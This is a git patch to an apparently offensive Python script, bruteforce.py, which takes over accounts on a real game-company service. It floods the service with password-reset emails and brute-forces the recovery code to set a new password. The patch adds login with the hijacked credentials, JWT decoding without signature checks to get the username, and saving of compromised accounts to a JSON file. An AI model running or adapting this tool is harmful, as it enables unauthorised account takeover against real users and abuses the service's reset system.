From 0ebf7f3745ee6e52a84bf4ad0045593d98b1f7e4 Mon Sep 17 00:00:00 2001 From: sokripon Date: Thu, 7 Apr 2022 14:04:20 +0200 Subject: [PATCH] - Added cli argument to get more information - Added cli argument to save result - Added cli argument to change the save path --- Pipfile | 1 + Pipfile.lock | 14 +++++++-- bruteforce.py | 75 ++++++++++++++++++++++++++++++++++++++++++++---- requirements.txt | 3 +- 4 files changed, 83 insertions(+), 10 deletions(-) diff --git a/Pipfile b/Pipfile index bca977d..12e243c 100644 --- a/Pipfile +++ b/Pipfile @@ -7,6 +7,7 @@ name = "pypi" loguru = "*" httpx = "*" tqdm = "*" +pyjwt = "*" [dev-packages] diff --git a/Pipfile.lock b/Pipfile.lock index ef1ea2b..7e7660d 100644 --- a/Pipfile.lock +++ b/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "04bb13bb7fe4075723d34f2f11391a8f012c5ebd700de740354e3e5e341aa61f" + "sha256": "b3a62f4c9b200f3a7c10346444ebb856ec0dbacdba3cce6ee46883195e14b4d9" }, "pipfile-spec": 6, "requires": { @@ -36,7 +36,7 @@ "sha256:2857e29ff0d34db842cd7ca3230549d1a697f96ee6d3fb071cfa6c7393832597", "sha256:6881edbebdb17b39b4eaaa821b438bf6eddffb4468cf344f09f89def34a8b1df" ], - "markers": "python_version >= '3.5'", + "markers": "python_full_version >= '3.5.0'", "version": "==2.0.12" }, "colorama": { @@ -86,6 +86,14 @@ "index": "pypi", "version": "==0.6.0" }, + "pyjwt": { + "hashes": [ + "sha256:b888b4d56f06f6dcd777210c334e69c737be74755d3e5e9ee3fe67dc18a0ee41", + "sha256:e0c4bb8d9f0af0c7f5b1ec4c5036309617d03d56932877f2f7a0beeb5318322f" + ], + "index": "pypi", + "version": "==2.3.0" + }, "rfc3986": { "extras": [ "idna2008" @@ -101,7 +109,7 @@ "sha256:471b71698eac1c2112a40ce2752bb2f4a4814c22a54a3eed3676bc0f5ca9f663", "sha256:c4666eecec1d3f50960c6bdf61ab7bc350648da6c126e3cf6898d8cd4ddcd3de" ], - "markers": "python_version >= '3.5'", + "markers": "python_full_version >= '3.5.0'", "version": "==1.2.0" }, "tqdm": { diff --git a/bruteforce.py b/bruteforce.py index d4ff61a..f88b973 100644 --- a/bruteforce.py +++ b/bruteforce.py @@ -1,9 +1,13 @@ import asyncio +import json +import os from asyncio import Semaphore from itertools import product +from pathlib import Path from string import ascii_uppercase, digits import httpx +import jwt from httpx import Response from loguru import logger from tqdm import tqdm @@ -37,7 +41,30 @@ async def bruteforce(account_id: str, password: str, client, recovery_code: str) return res -async def main(email: str, account_id: str, new_password: str, max_concurrent_brute_requests: int, max_concurrent_email_requests: int, password_reset_emails: int): +async def get_additional_account_info(email: str, password: str, client: httpx.AsyncClient) -> dict: + payload = { + "EmailAddress": email, + "Password": password + } + r = await client.post("https://account.freejamgames.com/api/authenticate/email/web", json=payload) + if r.status_code == 200: + return r.json() + else: + return {} + + +def unpack_jwt(token: str) -> dict: + return jwt.decode(token, options={"verify_signature": False}) + + +async def main(email: str, account_id: str, new_password: str, max_concurrent_brute_requests: int, max_concurrent_email_requests: int, password_reset_emails: int, + additional_account_info: bool, save: bool, save_path: str): + account = { + "success": False, + "email": email, + "account_id": account_id, + "new_password": new_password, + } fail_counter = 0 success_code = "" brute_semaphore = Semaphore(max_concurrent_brute_requests) @@ -70,16 +97,48 @@ def bruteforce_callback(fut: asyncio.Future): task.add_done_callback(bruteforce_callback) if success_code: break - await client.aclose() pbar.close() - for task in asyncio.all_tasks(): - if task.get_name().startswith("Bruteforce"): - task.cancel() if success_code: - logger.success(f"Success code is {success_code}. Password is now {new_password} closing") + logger.success(f"Success code is {success_code}. Password is now {new_password}") + account["success_code"] = success_code + account["success"] = True + if additional_account_info: + logger.info("Getting additional account info") + account["additional_account_info"] = await get_additional_account_info(email, new_password, client) + account["jwt_decoded"] = unpack_jwt(account["additional_account_info"]["Token"]) + logger.success(f"Successfully got additional account info, username is {account['jwt_decoded'].get('DisplayName')}") else: logger.error(f"Failed to find a success code. {fail_counter} attempts failed") + if save: + save_path = Path(save_path) + if not save_path.absolute(): + save_path = Path(os.getcwd() / save_path) + save_path.parent.mkdir(parents=True, exist_ok=True) + if save_path.exists() and save_path.is_file(): + with open(save_path, "r") as f: + try: + data = json.load(f) + except json.JSONDecodeError: + logger.error(f"Failed to load {save_path}") + else: + with open(save_path, "w") as fw: + data.append(account) + json.dump(data, fw, indent=4) + logger.info(f"Saved account to {save_path}") + + elif save_path.exists(): + logger.error(f"{save_path} is not a file, not saving") + else: + with open(save_path, "w") as f: + json.dump([account], f, indent=4) + logger.info(f"Saved account to {save_path}") + + await client.aclose() + for task in asyncio.all_tasks(): + if task.get_name().startswith("Bruteforce"): + task.cancel() + if __name__ == "__main__": import argparse @@ -91,5 +150,9 @@ def bruteforce_callback(fut: asyncio.Future): my_parser.add_argument("-b", "--max_concurrent_brute_requests", type=int, default=20, help="The maximum number of concurrent requests to make when bruteforcing") my_parser.add_argument("-c", "--max_concurrent_email_requests", type=int, default=5, help="The maximum number of concurrent requests to make when sending recovery emails") my_parser.add_argument("-r", "--password_reset_emails", type=int, default=100, help="The number of emails to send to reset the password, higher number -> higher speed") + my_parser.add_argument("-a", "--additional_account_info", default=False, action="store_true", help="Get additional account info") + my_parser.add_argument("-s", "--save", default=False, action="store_true", help="Save the account info to a file") + my_parser.add_argument("-sp", "--save_path", type=str, default="account_info.json", help="The path to save the account info to") + args = my_parser.parse_args() asyncio.run(main(**vars(args))) diff --git a/requirements.txt b/requirements.txt index 6fc09ab..fac3bbb 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,3 +1,4 @@ loguru httpx -tqdm \ No newline at end of file +tqdm +pyjwt \ No newline at end of file